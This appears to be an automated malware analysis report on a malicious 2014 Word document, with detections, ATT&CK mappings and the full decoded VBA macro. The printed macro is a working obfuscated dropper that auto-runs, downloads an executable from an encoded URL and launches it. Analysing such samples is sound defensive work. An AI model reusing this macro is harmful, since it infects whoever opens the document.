Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9ee05bb6343d067…

MALICIOUS

Office (OLE)

112.0 KB Created: 2014-10-05 18:01:00 Authoring application: Microsoft Office Word First seen: 2014-10-17
MD5: 232e646e1ce34ed86d99c0f854741a29 SHA-1: d2c35a9739ec14a35087a595ae8c1b91aba32e51 SHA-256: e9ee05bb6343d0678144dc6e0355af9d4922632e548e1a561bbe8bf97642b39d
356 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing obfuscated VBA macros. The document body explicitly instructs the user to "Enable Content", a common lure for macro-based malware. The VBA script uses `CreateObject` and `Shell` functions, indicating it attempts to execute further malicious code, likely downloading a second-stage payload. The presence of `Environ()` suggests it may also attempt to gather system information.

Heuristics 14

  • ClamAV: Doc.Dropper.Agent-6290337-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6290337-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim jhpdcnzxsqz: jhpdcnzxsqz = Shell(ozwqyrvfihv, 1)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set jbvgvpdgeef = CreateObject(wwlnqcnenmlgjvyaqzhhemibpggsjxn("ЮАЛ") + "ml2.xmlh" + "ttp")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set jbvgvpdgeef = CreateObject(wwlnqcnenmlgjvyaqzhhemibpggsjxn("ЮАЛ") + "ml2.xmlh" + "ttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub workbook_open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        glreg = Environ(wwlnqcnenmlgjvyaqzhhemibpggsjxn("зцюг"))
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://office365.com In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8843 bytes
SHA-256: 43487636795a5196b1cc60041722573c9cad14f97d7f7667a095e4510e4b57ec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
87 of 128 identifiers look randomly generated (e.g. 'zhgzqoelixjpyhzafduetkglgzxxkfe') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub auto_open()

GoTo tjzwtbcwykodzslrzcaibzqefwxicvv:
tjzwtbcwykodzslrzcaibzqefwxicvv:
GoTo geovbxgdkrxqepjufpjzlfgvmzvfnra:
geovbxgdkrxqepjufpjzlfgvmzvfnra:
GoTo icnwcxccueqbemygorcwdhcdhubrwdg:
icnwcxccueqbemygorcwdhcdhubrwdg:
mcnatzuuojp

End Sub

Sub autoopen()

GoTo cxynaibxmeziidgybitutbaobgjjpkh:
cxynaibxmeziidgybitutbaobgjjpkh:
GoTo ymkfaqcrwfsxbcvcwiulffwqslagmmn:
ymkfaqcrwfsxbcvcwiulffwqslagmmn:
GoTo dtphjlerayuzltkwyexkobrqtrojzyh:
dtphjlerayuzltkwyexkobrqtrojzyh:
    auto_open

End Sub

Sub workbook_open()

GoTo bpwwztxxhyatnxmxchvvcsdjoekvtkz:
bpwwztxxhyatnxmxchvvcsdjoekvtkz:
GoTo anrhrbvizpayafsceumqaqjbedqspqp:
anrhrbvizpayafsceumqaqjbedqspqp:
GoTo olqkizuleomcjtnzhtjghffpqrzgrfn:
olqkizuleomcjtnzhtjghffpqrzgrfn:
    auto_open

End Sub

Function brtxjqnjfkz(ByVal eevjoxhbscg As String, ByVal ozwqyrvfihv As String) As Boolean

     Dim jbvgvpdgeef As Object, shmvewhpqva As Long, udtbtswnzcs As Long, jvunhbrymxb() As Byte

GoTo rzqtpnabpadfmtnvhxucxcdxnrnbzcd:
rzqtpnabpadfmtnvhxucxcdxnrnbzcd:
GoTo mosnenrfcjkixlisluujocsoqhxnlrm:
mosnenrfcjkixlisluujocsoqhxnlrm:
GoTo nkxuerjjthtraoqluxxmxobuwczlmwt:
nkxuerjjthtraoqluxxmxobuwczlmwt:
gkdyhdl = wwlnqcnenmlgjvyaqzhhemibpggsjxn("фшЕШХ‡ЂЗ")

GoTo lpwyodhogevbhwaiogihpmuenbjyoce:
lpwyodhogevbhwaiogihpmuenbjyoce:
GoTo qmouxyzyafosppkrfebfpehxqzowoxv:
qmouxyzyafosppkrfebfpehxqzowoxv:
GoTo jiirghmpayzaqmhylykjieresumwgov:
jiirghmpayzaqmhylykjieresumwgov:
    Set jbvgvpdgeef = CreateObject(wwlnqcnenmlgjvyaqzhhemibpggsjxn("ЮАЛ") + "ml2.xmlh" + "ttp")

GoTo ujyhfcqqjxvnqdfovbvjdumzrgeammw:
ujyhfcqqjxvnqdfovbvjdumzrgeammw:
GoTo ngisimoimaopmchrzygeubzahlnjjeh:
ngisimoimaopmchrzygeubzahlnjjeh:
GoTo sblmywmaobdxjibvxvvgokiaxshxlee:
sblmywmaobdxjibvxvvgokiaxshxlee:
qwr54g = wwlnqcnenmlgjvyaqzhhemibpggsjxn("ЙЙАХ†„‹")

GoTo djwfollhnhbhhxmovnthhqfhdwddkuu:
djwfollhnhbhhxmovnthhqfhdwddkuu:
GoTo qqmmkyyxybkuscyddepysodollblrvt:
qqmmkyyxybkuscyddepysodollblrvt:
GoTo pbzrlpsxzlrxkwlkadhlgznddvhibjp:
pbzrlpsxzlrxkwlkadhlgznddvhibjp:
    jbvgvpdgeef.Open wwlnqcnenmlgjvyaqzhhemibpggsjxn("фцз"), eevjoxhbscg, False

GoTo acloowkahtgxmjbnyqlcxudljyummqw:
acloowkahtgxmjbnyqlcxudljyummqw:
GoTo hzxamptltzuxwvqwgxbcvhiajfzrbig:
hzxamptltzuxwvqwgxbcvhiajfzrbig:
GoTo hjhbjjbhipddccxvmsqcwhprehzreof:
hjhbjjbhipddccxvmsqcwhprehzreof:
    jbvgvpdgeef.send wwlnqcnenmlgjvyaqzhhemibpggsjxn("‚ЃЂЧЗ")

GoTo hbntxhdnsneteztjssyqdmcuriyyiir:
hbntxhdnsneteztjssyqdmcuriyyiir:
GoTo ixxgbkmhtieforqjazpgzfghyyzgagv:
ixxgbkmhtieforqjazpgzfghyyzgagv:
GoTo xpuifihcrsciqzgipfajihrmliirqhh:
xpuifihcrsciqzgipfajihrmliirqhh:
 

GoTo tdeocbwfnlbynoaojvjvlbymjvcjpmj:
tdeocbwfnlbynoaojvjvlbymjvcjpmj:
GoTo yskrbqtrbtmcggvziffoacnducinlsn:
yskrbqtrbtmcggvziffoacnducinlsn:
GoTo ooiidzwymruwuijwgtsitqaulsndkhy:
ooiidzwymruwuijwgtsitqaulsndkhy:
    Do While jbvgvpdgeef.readystate <> 4

GoTo qhcersmfapecanwjjhsacbbdfxdjzvh:
qhcersmfapecanwjjhsacbbdfxdjzvh:
GoTo jqghoomxvwfprzzbmqvmccrqmthnlxm:
jqghoomxvwfprzzbmqvmccrqmthnlxm:
GoTo ngxkyryksxuezlqwqjkibmqbvlfyult:
ngxkyryksxuezlqwqjkibmqbvlfyult:
    DoEvents

GoTo lrftdddwddgqfopnnpqfkejjycowhvc:
lrftdddwddgqfopnnpqfkejjycowhvc:
GoTo evtstrutjhnbawdzsajqaujqgapmrcw:
evtstrutjhnbawdzsajqaujqgapmrcw:
GoTo ehihdmtfphipumheqkbiaztqryxibmp:
ehihdmtfphipumheqkbiaztqryxibmp:
    Loop

GoTo dsetblnjmwsgosacwbrtemaxmwctuey:
dsetblnjmwsgosacwbrtemaxmwctuey:
GoTo hassupiuudlkruodbkhbkzmhogliqic:
hassupiuudlkruodbkhbkzmhogliqic:
GoTo qzyzfsrnmtbkqrfpspzhumrripjtuzy:
qzyzfsrnmtbkqrfpspzhumrripjtuzy:
 

GoTo rnlgrnwvocngtjbpicityhghstgremd:
rnlgrnwvocngtjbpicityhghstgremd:
GoTo wwdgptcswmqmhvofrmcunonzmfbkwxi:
wwdgptcswmqmhvofrmcunonzmfbkwxi:
GoTo ycfihvkvvnhacnzmywmxbqhxvxjdjai:
ycfihvkvvnhacnzmywmxbqhxvxjdjai:
    jvunhbrymxb = jbvgvpdgeef.responsebody

GoTo igjzkxidfhaecdcxuriceepngfdwhfx:
igjzkxidfhaecdcxuriceepngfdwhfx:
GoTo gqqeszecgbnvvpnpckaqimbdizyygoe:
gqqeszecgbnvvpnpckaqimbdizyygoe:
GoTo vsozjyuazlislbjezhokgkmfiarxqlq:
vsozjyuazlislbjezhokgkmfiarxqlq:
fg43545 = wwlnqcnenmlgjvyaqzhhemibpggsjxn("Х‡†ЂФЧФ")

GoTo bydistqtuyjmfwoaljddjhjxcblrewf:
bydistqtuyjmfwoaljddjhjxcblrewf:
GoTo wuscrthalzhazuomnavkpsafdffvdni:
wuscrthalzhazuomnavkpsafdffvdni:
GoTo pgstbpgscpglwfimzyreikljtnxxqjl:
pgstbpgscpglwfimzyreikljtnxxqjl:
 

GoTo pczgepqcknyxasqqxyomkswqyqyvygp:
pczgepqcknyxasqqxyomkswqyqyvygp:
GoTo rcgioevjfidwrwzvxummqemuvmwwpmx:
rcgioevjfidwrwzvxummqemuvmwwpmx:
GoTo oequtzklbdbvtbnoesztdcoebmqnchn:
oequtzklbdbvtbnoesztdcoebmqnchn:
    udtbtswnzcs = FreeFile

GoTo ohqmzzbqnkscmgncaazcleuacmdwfsb:
ohqmzzbqnkscmgncaazcleuacmdwfsb:
GoTo akzumbobkridwjlequxxqufxwiuatwq:
akzumbobkridwjlequxxqufxwiuatwq:
GoTo eaoulmfgxwxosjjubjbnjqemqytshcp:
eaoulmfgxwxosjjubjbnjqemqytshcp:
gkdyhdl = wwlnqcnenmlgjvyaqzhhemibpggsjxn("фшЕШХ‡ЂЗ")

GoTo fycwpkpzciofruwemnblyblegkohorl:
fycwpkpzciofruwemnblyblegkohorl:
GoTo dwyoecbvrwzmkiftphgzefkxknvgaub:
dwyoecbvrwzmkiftphgzefkxknvgaub:
GoTo dlpyrlstsxzpxxkyfwzubtwmwewoswg:
dlpyrlstsxzpxxkyfwzubtwmwewoswg:
    If Dir(ozwqyrvfihv) <> wwlnqcnenmlgjvyaqzhhemibpggsjxn("") Then Kill ozwqyrvfihv

GoTo rusxanuidsliffidpccdjmkldnmyinr:
rusxanuidsliffidpccdjmkldnmyinr:
GoTo ipcvakjhsjtfwfwlxjgcveirmsdwodv:
ipcvakjhsjtfwfwlxjgcveirmsdwodv:
GoTo hyigkhkptfcmsihidszbzznztdlucuv:
hyigkhkptfcmsihidszbzznztdlucuv:
gkdyhdl = wwlnqcnenmlgjvyaqzhhemibpggsjxn("фшЕШХ‡ЂЗ")

    Open ozwqyrvfihv For Binary As #udtbtswnzcs

GoTo idjewcndicdetzcvwndryzgjuirivsx:
idjewcndicdetzcvwndryzgjuirivsx:
GoTo uhwmhlrpgmnhuumpjhzaxtlccgkpusd:
uhwmhlrpgmnhuumpjhzaxtlccgkpusd:
GoTo szmjvqyzdnkkejudkbdwdecybtjwhyc:
szmjvqyzdnkkejudkbdwdecybtjwhyc:
gkdyhdl = wwlnqcnenmlgjvyaqzhhemibpggsjxn("фшЕШХ‡ЂЗ")

    Put #udtbtswnzcs, , jvunhbrymxb

GoTo soanmqvzuywjfbugswyshzkvqaiivrc:
soanmqvzuywjfbugswyshzkvqaiivrc:
GoTo vcybyslwzpvkaofooetwscjvbmdnjks:
vcybyslwzpvkaofooetwscjvbmdnjks:
GoTo rtsrfnbiiowuvxigrklpqkzuyeqzkvr:
rtsrfnbiiowuvxigrklpqkzuyeqzkvr:
gkdyhdl = wwlnqcnenmlgjvyaqzhhemibpggsjxn("фшЕШХ‡ЂЗ")

    Close #udtbtswnzcs

GoTo ynfndvmvqlfsdkpbzbrfxszrwkvvudi:
ynfndvmvqlfsdkpbzbrfxszrwkvvudi:
GoTo hfsqrplydtjlxmiafxpjgeybjomwppc:
hfsqrplydtjlxmiafxpjgeybjomwppc:
GoTo nnthmreamwbboydpoxayreapekywgqb:
nnthmreamwbboydpoxayreapekywgqb:
gkdyhdl = wwlnqcnenmlgjvyaqzhhemibpggsjxn("фшЕШХ‡ЂЗ")

GoTo oroalzauaozqsbjypranzmnhjapyust:
oroalzauaozqsbjypranzmnhjapyust:
GoTo nwnfjaxbsqqhdytgraeyaedhuqywpwc:
nwnfjaxbsqqhdytgraeyaedhuqywpwc:
GoTo nartvrfaeccnnnsubktbqfyemxggteb:
nartvrfaeccnnnsubktbqfyemxggteb:
     

    Dim jhpdcnzxsqz: jhpdcnzxsqz = Shell(ozwqyrvfihv, 1)

GoTo fbfzgktmqekovopsbnpzvfhlfvvgrym:
fbfzgktmqekovopsbnpzvfhlfvvgrym:
GoTo vscmgseocdycdweqwnxrrquakaodpjo:
vscmgseocdycdweqwnxrrquakaodpjo:
GoTo wijawasowyfzydcbyzmrsfoazglgrcn:
wijawasowyfzydcbyzmrsfoazglgrcn:
vx45j = wwlnqcnenmlgjvyaqzhhemibpggsjxn("фАЧХшЕШХТ‡ЂЗ")

GoTo zhgzqoelixjpyhzafduetkglgzxxkfe:
zhgzqoelixjpyhzafduetkglgzxxkfe:
GoTo sevdkvifunircoewmiwgfkyyimhzxwr:
sevdkvifunircoewmiwgfkyyimhzxwr:
GoTo uocvrvvuknwtayehsehaltwlmjkpfda:
uocvrvvuknwtayehsehaltwlmjkpfda:
 

GoTo bedlgtotfglmvsoddzuzqtpdkwppslf:
bedlgtotfglmvsoddzuzqtpdkwppslf:
GoTo cefqidjbqvhqrrpmlnuncurbjuvatlk:
cefqidjbqvhqrrpmlnuncurbjuvatlk:
GoTo gktldjurzknuqcdzjrihdqmjzjdshtp:
gktldjurzknuqcdzjrihdqmjzjdshtp:
    Set jbvgvpdgeef = Nothing

    glreg = Environ(wwlnqcnenmlgjvyaqzhhemibpggsjxn("зцюг"))

GoTo asizkwwkkbvkdahokcibjferiugfwqa:
asizkwwkkbvkdahokcibjferiugfwqa:
GoTo fvnyjxollilbsgtfkjuyysuercpvdio:
fvnyjxollilbsgtfkjuyysuercpvdio:
GoTo mohgqelxbshwycxmnkpeaboyahnjpqk:
mohgqelxbshwycxmnkpeaboyahnjpqk:
      

End Function

Sub mcnatzuuojp()

GoTo tezskbhqtdtdlxllhvslofrchwagtav:
tezskbhqtdtdlxllhvslofrchwagtav:
GoTo lzuxuisljjximbgukbxwssjlubevszp:
lzuxuisljjximbgukbxwssjlubevszp:
GoTo jwlwugvengsrjjbcudmggbfjitwjpoj:
jwlwugvengsrjjbcudmggbfjitwjpoj:
    brtxjqnjfkz wwlnqcnenmlgjvyaqzhhemibpggsjxn("ЫЗЗГ‰њњФЦЗЪЮФЧРЦЭЗЦБќБЖњЧСТЭЭЦБќГЭФ"), glreg & "\JGSNUWKJRFC.exe"

End Sub

Public Function wwlnqcnenmlgjvyaqzhhemibpggsjxn(ByVal sData As String) As String
Dim i       As Long
For i = 1 To Len(sData)
wwlnqcnenmlgjvyaqzhhemibpggsjxn = wwlnqcnenmlgjvyaqzhhemibpggsjxn & Chr$(Asc(Mid$(sData, i, 1)) Xor 179)
Next i
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.